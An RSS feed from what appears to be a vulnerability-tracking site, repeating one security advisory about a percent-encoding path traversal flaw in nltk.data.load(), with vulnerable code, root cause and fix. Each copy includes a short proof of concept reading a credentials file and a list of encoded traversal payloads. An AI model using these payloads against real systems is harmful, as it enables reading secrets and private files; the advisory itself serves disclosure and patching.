<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 17:12:40 +0000</lastBuildDate>
    <item>
      <title>BREW-acronym-CVE-2026-12243 — nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences</title>
      <link>https://cve.radiocsirt.org/vuln/brew-acronym-cve-2026-12243</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: acronym&lt;/p&gt;
&lt;p&gt;# Summary
nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.&lt;/p&gt;
&lt;p&gt;# Vulnerable Code
nltk/data.py - find() function:
 url2pathname() decodes %2e%2e -&amp;gt; .. AFTER any safety check
p = os.path.join(path_, url2pathname(resource_name))
if os.path.exists(p):
    return FileSystemPathPointer(p)&lt;/p&gt;
&lt;p&gt;# Proof of Concept
import nltk.data
nltk.data.path = [&amp;#34;/home/user/nltk_data&amp;#34;]
%2e%2e decodes to .. via url2pathname(), escaping the data dir
data = nltk.data.load(&amp;#34;%2e%2e/SECRET_credentials.txt&amp;#34;, format=&amp;#34;raw&amp;#34;)
print(data)
 b&amp;#39;AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n&amp;#39;
All of these bypass path checks and decode identically:&lt;/p&gt;
&lt;p&gt;# Payload	After url2pathname()
%2e%2e/secret	../secret
.%2e/secret	../secret
%2e./secret	../secret
%2E%2E/secret	../secret
Root Cause
url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.&lt;/p&gt;
&lt;p&gt;# Fix
Decode before checking:&lt;/p&gt;
&lt;p&gt;from urllib.parse import unquote
resource_name = unquote(resource_name)  # decode first, then validate&lt;/p&gt;
&lt;p&gt;# Impact
An attacker who controls the resource name passed to nltk.data.load() can r…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: acronym&lt;/p&gt;
&lt;p&gt;# Summary
nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.&lt;/p&gt;
&lt;p&gt;# Vulnerable Code
nltk/data.py - find() function:
 url2pathname() decodes %2e%2e -&amp;gt; .. AFTER any safety check
p = os.path.join(path_, url2pathname(resource_name))
if os.path.exists(p):
    return FileSystemPathPointer(p)&lt;/p&gt;
&lt;p&gt;# Proof of Concept
import nltk.data
nltk.data.path = [&amp;#34;/home/user/nltk_data&amp;#34;]
%2e%2e decodes to .. via url2pathname(), escaping the data dir
data = nltk.data.load(&amp;#34;%2e%2e/SECRET_credentials.txt&amp;#34;, format=&amp;#34;raw&amp;#34;)
print(data)
 b&amp;#39;AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n&amp;#39;
All of these bypass path checks and decode identically:&lt;/p&gt;
&lt;p&gt;# Payload	After url2pathname()
%2e%2e/secret	../secret
.%2e/secret	../secret
%2e./secret	../secret
%2E%2E/secret	../secret
Root Cause
url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.&lt;/p&gt;
&lt;p&gt;# Fix
Decode before checking:&lt;/p&gt;
&lt;p&gt;from urllib.parse import unquote
resource_name = unquote(resource_name)  # decode first, then validate&lt;/p&gt;
&lt;p&gt;# Impact
An attacker who controls the resource name passed to nltk.data.load() can r…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/brew-acronym-cve-2026-12243</guid>
    </item>
    <item>
      <title>CVE-2026-12243</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-12243</link>
      <description>CVE-2026-12243</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-12243</guid>
    </item>
    <item>
      <title>GHSA-m42h-3232-vpv3 — nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-m42h-3232-vpv3</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: nltk&lt;/p&gt;
&lt;p&gt;# Summary
nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.&lt;/p&gt;
&lt;p&gt;# Vulnerable Code
nltk/data.py - find() function:
 url2pathname() decodes %2e%2e -&amp;gt; .. AFTER any safety check
p = os.path.join(path_, url2pathname(resource_name))
if os.path.exists(p):
    return FileSystemPathPointer(p)&lt;/p&gt;
&lt;p&gt;# Proof of Concept
import nltk.data
nltk.data.path = [&amp;#34;/home/user/nltk_data&amp;#34;]
%2e%2e decodes to .. via url2pathname(), escaping the data dir
data = nltk.data.load(&amp;#34;%2e%2e/SECRET_credentials.txt&amp;#34;, format=&amp;#34;raw&amp;#34;)
print(data)
 b&amp;#39;AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n&amp;#39;
All of these bypass path checks and decode identically:&lt;/p&gt;
&lt;p&gt;# Payload	After url2pathname()
%2e%2e/secret	../secret
.%2e/secret	../secret
%2e./secret	../secret
%2E%2E/secret	../secret
Root Cause
url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.&lt;/p&gt;
&lt;p&gt;# Fix
Decode before checking:&lt;/p&gt;
&lt;p&gt;from urllib.parse import unquote
resource_name = unquote(resource_name)  # decode first, then validate&lt;/p&gt;
&lt;p&gt;# Impact
An attacker who controls the resource name passed to nltk.data.load() can r…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: nltk&lt;/p&gt;
&lt;p&gt;# Summary
nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.&lt;/p&gt;
&lt;p&gt;# Vulnerable Code
nltk/data.py - find() function:
 url2pathname() decodes %2e%2e -&amp;gt; .. AFTER any safety check
p = os.path.join(path_, url2pathname(resource_name))
if os.path.exists(p):
    return FileSystemPathPointer(p)&lt;/p&gt;
&lt;p&gt;# Proof of Concept
import nltk.data
nltk.data.path = [&amp;#34;/home/user/nltk_data&amp;#34;]
%2e%2e decodes to .. via url2pathname(), escaping the data dir
data = nltk.data.load(&amp;#34;%2e%2e/SECRET_credentials.txt&amp;#34;, format=&amp;#34;raw&amp;#34;)
print(data)
 b&amp;#39;AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n&amp;#39;
All of these bypass path checks and decode identically:&lt;/p&gt;
&lt;p&gt;# Payload	After url2pathname()
%2e%2e/secret	../secret
.%2e/secret	../secret
%2e./secret	../secret
%2E%2E/secret	../secret
Root Cause
url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.&lt;/p&gt;
&lt;p&gt;# Fix
Decode before checking:&lt;/p&gt;
&lt;p&gt;from urllib.parse import unquote
resource_name = unquote(resource_name)  # decode first, then validate&lt;/p&gt;
&lt;p&gt;# Impact
An attacker who controls the resource name passed to nltk.data.load() can r…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-m42h-3232-vpv3</guid>
    </item>
  </channel>
</rss>
